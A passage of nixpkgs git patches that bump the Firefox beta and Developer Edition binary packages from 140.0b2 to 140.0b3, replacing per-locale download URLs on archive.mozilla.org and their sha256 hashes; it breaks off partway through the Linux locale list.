-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pa-IN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pa-IN/Firefox%20140.0b3.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "72d017a1115c861d89ba13ffaa673d1a33b459426cf2be7434ac526473e458b5";
+      sha256 = "1d1eb37923276bb744e7317e5a13f754c1c40dcfdde803836096bbab4ad1b73c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pl/Firefox%20140.0b3.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "868b42e0a9752172fe8871a5e74a6ee6d1e6ace89480a2b8f937f57187581d17";
+      sha256 = "2f0fbf132c1bf3020c25b0b4a5d3819c7a8976050a13a78a2ac1a2a7a8d90639";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pt-BR/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pt-BR/Firefox%20140.0b3.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "edf314c2893d2a07ae3c0e98fd4faa01a8c70afa1c42bf96f4b908e987d65d30";
+      sha256 = "dbb1b75a4504cd974330b831cf101780479e89128226b3201f835182501a20a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pt-PT/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pt-PT/Firefox%20140.0b3.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "7c23718aae1119db08e6225104c3748e7b175eb6c96eb21ff7e098f3b3b457bf";
+      sha256 = "be7accef05071d1e3a3eb91c651a2a230a15a6a34f0b631dbb23dff4ab04c48d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/rm/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/rm/Firefox%20140.0b3.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "0dee6e7eabfb1d2727ae10ffe3efde28e87574573271793f27f4696cc6ed4735";
+      sha256 = "3fc7184d29e01e8d35fe15593b51ac1e2aebafb81efbd0f5f9439c88de92dd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ro/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ro/Firefox%20140.0b3.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "258337f48e73793368e35586b22ab61f441eeb5c884fb1fae2a19fe750dee283";
+      sha256 = "bc5bef76b02704e9bddc7789cf2613619b05bb8ef60c468d908a2718f70cdac3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ru/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ru/Firefox%20140.0b3.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "0d94677e22915b79deddfbfdb80c8be4699fbb47fda59b5e54ea26ab80064210";
+      sha256 = "dc6bd8c1566a001a96d09d363b409e4fe1c4789c68b790c1ae3fcfca78c5bd61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sat/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sat/Firefox%20140.0b3.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "78f600da1286888e95132da917f0881e2fb480cdaab5f339914f7a3509b5cb12";
+      sha256 = "538a52ac76c407170f20b8205fe8d9c8d87e0994b0ab317adbdaddd318f59603";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sc/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sc/Firefox%20140.0b3.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "567c98cf0a6d6c789dce738546e02a8c31574b718e997a9e287abc3eedec8c39";
+      sha256 = "ab2083bb3f0792c9992c06e9f36301d32303d03018e23f0637ddde9be3e25e24";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sco/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sco/Firefox%20140.0b3.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "d71db15059d870d0dfb7492403342df38f7ec0942f72363914153357141b780b";
+      sha256 = "b9c56f2c5e09fd688cbbdcf3ebc99b4b7f057ab481c1fae0a7a2e5861b7dd762";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/si/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/si/Firefox%20140.0b3.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "894c1f664aacb2dd66ba0428d27bb07918c50fbf5529243591f93447c4a21811";
+      sha256 = "58b8d7fc66556775aae57b4e94c4ec634715b82aa2315af59ca22f398d82ad02";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sk/Firefox%20140.0b3.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "29bbcf6c57010f28cbba52d2fffa909387c3660d0fdda5a53486e05a872adf9e";
+      sha256 = "de930af4f10e568f0fea89b8e13db00022b1e2ae2feba92f4b83bd7dcf578a39";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/skr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/skr/Firefox%20140.0b3.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "3d65a2d0b7ae8546feee7720261cbcde1f100adb31305c4f2ffcc26206b475db";
+      sha256 = "636f7e563a3ada0c596f75098ba74880d75e579b70aef876aa8f030066a694d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sl/Firefox%20140.0b3.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "60f74c2dfaac5b049ffc480ed6fd77280ed839caaa8872d3a30eaf5698f5273a";
+      sha256 = "856d81557b6acd1e238c04dbd8efcbbd0fac05d31df38ca1b6dc05e0b4823920";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/son/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/son/Firefox%20140.0b3.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "513be0645fa2800fdc4f228727fbb9b4f93364caba511673265a8993850100bd";
+      sha256 = "757fde5c9c72658729bdaf03fdeab06606c83286ed06c6a17d5c9c034ccc491b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sq/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sq/Firefox%20140.0b3.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "29e2b1ea31394dc37021433220e8962dfa24e146491280a93b97b4bc5a0a4bb1";
+      sha256 = "99ffa29be7c64059386d15ce600fb52f72a3e8a98291f88858092b7577153a69";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sr/Firefox%20140.0b3.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "df4ecb60378e381c578952e0f3be3adcf7453b21c43a4c2015a596b118c7d683";
+      sha256 = "1e15320ded4438a36166e85fdc57b2101c4a1ae4c2790f9dfaf4a2d623c72cdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sv-SE/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sv-SE/Firefox%20140.0b3.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "b0f0d77d48cd31bc6b61253ecec6a99c7b4e5ae79659dad34b937790118e64e9";
+      sha256 = "f102f3daa8d5b231a6d3c88692e676f7a776a7bec7867a3130edb7664d694416";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/szl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/szl/Firefox%20140.0b3.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "460465dc52fb1d8c4776d20b275fa31dd6a6b3c959ae29a17ac0a57570deaeeb";
+      sha256 = "f64c48c0376bc7a3fb78401cde45da6f384938a3cf8dc728afe5f79450f28f7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ta/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ta/Firefox%20140.0b3.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "aa67060f3c84e4691b24e6673e8320031422f4443038fa6534a963c63a60e37c";
+      sha256 = "28b94d98a68653139e4920a428915cfecd230d933d8276122907b98b08880e4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/te/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/te/Firefox%20140.0b3.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "35df147c9ef6d765889ff758c3c5214bc5dc5eff7f9eb0080724bf70d2192a25";
+      sha256 = "3c1aeb66d18f386fdce26b76dd6165b1aba5d3abffbe50518a7bb98cad0b260a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tg/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tg/Firefox%20140.0b3.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "dac6ebb25fe418ffc29811398bdbd2b5ec2c5ac522b1baacc8b0ed15923e18a9";
+      sha256 = "0bfd5977424a287b4dd5b33d3d06ef7a46eab14b9528b4faab9ac5624bcf5a15";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/th/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/th/Firefox%20140.0b3.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "d055912dca60a974f7301ce63599cd685c24a375df4622c28ccbeff67eb1df50";
+      sha256 = "c7b00d9601e0dd1b58cb239a243a9814694517bd72654598c9b1cccbf057fad5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tl/Firefox%20140.0b3.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "c7f9cb0e805776940e0f33849ff9f321f53b93e21470057432e45ad2638cce43";
+      sha256 = "19a06f0ef997df9fe9231393e2641f162b473eef0973c35428ff1c9acf68e790";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tr/Firefox%20140.0b3.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "97d25c6dc788e64f1857f0c1fec8745a0f3a16cd802dd5af3d3c167d9158e1dc";
+      sha256 = "147e73c10914893790ef2f07929b9b448114f9b6decd42be231883c1b8fc4a98";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/trs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/trs/Firefox%20140.0b3.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "aed82548580fef5dda24a7b48f301ff7fb23041f9e00f651392e38ef92dc7a80";
+      sha256 = "b7fd70dba59b97246f2a69815b63f3984fbcd0551174bbaa9ba6c767b81a1f65";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/uk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/uk/Firefox%20140.0b3.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "792e2b27880a62f5eef7b93c36a35d89404b964cd17b879bd14e567e846d55c0";
+      sha256 = "bd812c4b22b71be191a17936371f18ee6a1ffc97a1afe88dd1c3f4b5c0aaa9c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ur/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ur/Firefox%20140.0b3.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "1e9c8922a7cf00a080b9e69186136dee0f84d44ab61cb8ac8390f77dfb5d7982";
+      sha256 = "ad42340b285bd9aa28bf5f568d2f559cc2525eb4d3c76750766742503208fe23";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/uz/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/uz/Firefox%20140.0b3.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "674551891bbe01db98fbc843ce035c473a19bb6ea7f9b50cfca6a57d281f4345";
+      sha256 = "1e1325a80bbec8eaa0d0fff8d0fc09adab19c43e51160dc041702768eba63220";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/vi/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/vi/Firefox%20140.0b3.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "14d97055a0487c9a7f82959ff4e0978bc67867c5f969ea90cedf1d18a976a344";
+      sha256 = "fc9f36a9269c990feaba9621dfed49d9df96f0fe20155884e90807ae9d7225b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/xh/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/xh/Firefox%20140.0b3.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "e91833e99b4e8b04f690c1e041e2db288d5f64412e04f34bbc3d8b00123a32b0";
+      sha256 = "af8210bf82898991fd9da3f8e539e09aa6a3995665cbe049558bc9245640e0be";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/zh-CN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/zh-CN/Firefox%20140.0b3.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "721f621b057bcfea7397b16f8e5da98e0059a742809c8b0d3fd54d3b459ac1bc";
+      sha256 = "ebe8c62854e34ea685d7a49864504faac27453d21c76dad92d96e2eb6f7b6cfc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/zh-TW/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/zh-TW/Firefox%20140.0b3.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "0f0dc4ebad9ff5c09a4c015cff5e76a7ca271dbadf185a23034806976a6dd1e5";
+      sha256 = "7035c1f5ce6358fa450ac6de572b08907a8bb4df4849008fb35e8f492c3cf622";
     }
   ];
 }

From 57ad59b91299f87f7d21c8b0150812678c650d47 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sat, 31 May 2025 15:36:18 +0000
Subject: [PATCH 0339/4511] firefox-beta-bin-unwrapped: 140.0b2 -> 140.0b3

(cherry picked from commit 39b24cd703299afed4f3654ac736e1d1a88e76c3)
---
 .../browsers/firefox-bin/beta_sources.nix     | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
index 6ea22626836b..95231f18b01d 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b2";
+  version = "140.0b3";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "9772122fe9b864f2247c7fdb6e5d11813b25af4e86120959581ef8d1e4d43522";
+      sha256 = "87c1f8aa057b132bdf97b81aa911cde1b76df420f4319052dac1fb36f73aeaa7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "dd758bbab164e46f9484b1a271b94d95dff15788998e137ba4ea6a4adc325625";
+      sha256 = "995fb3776e849a87271df8f7967fff46febbb57ac4e513e520fe2790947e8e04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "e10bf7cb75a4b9c395aa2c0adf1f5406daaab1ed2148a6c8cad034376e79380c";
+      sha256 = "a3daa36f2d0477ff3bf8af4df84b1bbd6d001093b1b7453489486efabfc1c0c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "09d6db922f63c3a0b9fa080050820f9a83c517c6faa0848bd104a669336789b1";
+      sha256 = "36bb911e75abad10dd74d9d1aa541ee8b34f7918f5867acbfeb2682386d1b875";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "5e2bed35394f61519b2cc67e341e14002e692edbf7c52b5a5aca329403ff36ec";
+      sha256 = "3df5f717c4ba64c88fcf873e01a667dc72ec006be98e4ccdf776381fb5c2999f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "7f56c3afe0cb2a899411496e5f989b44834bafb0febda20bed7495ec5dfcd8d7";
+      sha256 = "0fbc914fed6b0344f6701dda29c92a613650987a9c5c3b6cc6f5f99f1d77df47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "202cde7a9402777c80ce654b264007d13baf7e573ecb6ada8ac21a58ff80c6c0";
+      sha256 = "0e07670b6e2f0912d3c7c599b7db147212b0cad36737681d8012f2dca7d8c22e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "58d17e006afc3a024d843ad196b09a5ed19b29ab40318be8d0682b4a21e73117";
+      sha256 = "7d96d3e05a94d268accf129fe008688fe492472ae1edbb8eb50fc29f7c899be9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "8f21073aaa86facd7e5828857f3581e67949be14a359c1a99967e02ebc888a03";
+      sha256 = "0788fda0e35abb70344cc4030bb54af725ec4dc3725f8ebc12df70ceeb860fdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "ee8f892efd0dd4a9bb2d45609f54c7ca06e1e803c7a1abbed7bc3a80ac03cd3e";
+      sha256 = "5a45b3c49e0ccd7314881494d825badb16372fda7bb94fd704b8eb49fe9492c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "11308e30b1a7bb4c26779048b5cf6c36ed6f1092c6aebb19c5413379b000c245";
+      sha256 = "e4dd687373bf633cfde18764d9b424ac245349925a7fdb5a45fd1698b8ed1164";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "e99bb572c923e86dab8ca768dd7016553a166bff9479ed568e0c0cf823058b8e";
+      sha256 = "f4dd916b333e0abc0551d7651156e94cdf31049d7fe7e51b2f46f877066fc144";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "b0cce2c03c5a3b5741cfa158f8cf294c51b881ba101695e00c91b1bd14f897e6";
+      sha256 = "020a985e9841238d683fa817e26f1791ea60946701c91e8eab3def9c2db23278";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "bc26e0bd9336906decce9e79bc4501335d1144bfe4acad0e34d604982a99e799";
+      sha256 = "542b5987fb29f278c2d1c0451053a37874f8a9ee1c80a3e2d818821b740a465c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "d94e4fdd4aa4c2cc57c8dd5cc3f28c9287d916ac98d803048f9c254b7036b32c";
+      sha256 = "390df2e96d9b0f2c6a5c5ef01b9f4790e0d65a5bd559bcd7b5645e632fe05b6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "f6e8adfabb271dc3275af1c0123a050a9acea8cb20d69da53c06b1f8b93abcb5";
+      sha256 = "a0cd0379ffe29c33eb1f34dce54f56e9c6801cf25378633e4c3cf9a0badfae22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "a0c7e0fd4daa6f83ea721bddcb67b0dcaebfa971964d5eb8b30421c6ccf9afb2";
+      sha256 = "582033616abeaa16914802635720708294de44afb42c118098b5d30a3df96968";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "a41061a13e540377854c68bac1e0ead0e43fb6eb398cedd1c7d072fbd1aa7d2c";
+      sha256 = "e05ae143147e96e5b5c686813f8284640b193b12fa1ecc878a033d7a6b62572a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "a4ee38be8dc35f327c7e10178f5d589234ece7fa82799748e51c10b9b2a03e57";
+      sha256 = "bf11f20d86bd8c8fec4a4d9fa14adfba00e9bce9b40f9a899a0fe8cafdfaa89e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "76c892f181579b8d86468789df62e2f61b87be550235884419966dcdf5f159b0";
+      sha256 = "f4758465dedcc1a1abbef1dfbfa1c1a0e630714eddfa98038826033f7baaddca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "57cf1cb329540eb612f2b2392ade585b4505a89ad32dc4bbc6adb199ec179b31";
+      sha256 = "75949735b5d56b36a143410517d109d55139bd670d505d0b467288094ccd34bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "62b77a005adc751657d1c40c8f744c7d1c0ab341a6bd3ee0e7864f69ed2759f4";
+      sha256 = "e81b992506abce52d839623334376229a35659699c8770516b3c7e34d810ead7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "828cac8a8d7e83fd82c13c979fce4a77262be2d8bf6639612664ca1f10c96ec1";
+      sha256 = "c1428da2dfc7a16deb7b9570fcccba94c13158373a359804233a4b5f330746a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "91f3b063d16c364419ec2ccdd152c05b19a0bb38eededdd2461d79952a760753";
+      sha256 = "54790c6e1050b34d380e6daf96f387379aa825249af5889c71752eb728ecb10d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "b2edc4c81a5910901a6e2e9b90b2fc3c625f67e74f746cbc3ca4a32dc9115611";
+      sha256 = "d4dc96fba97c8f0c96ec5d596aaf6e30fe5f467399b59307ba1e91b5471979d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "f35abf87c2ac7afe6f75861bf99595a06f7216de0003f91cde3c719f3a2b0124";
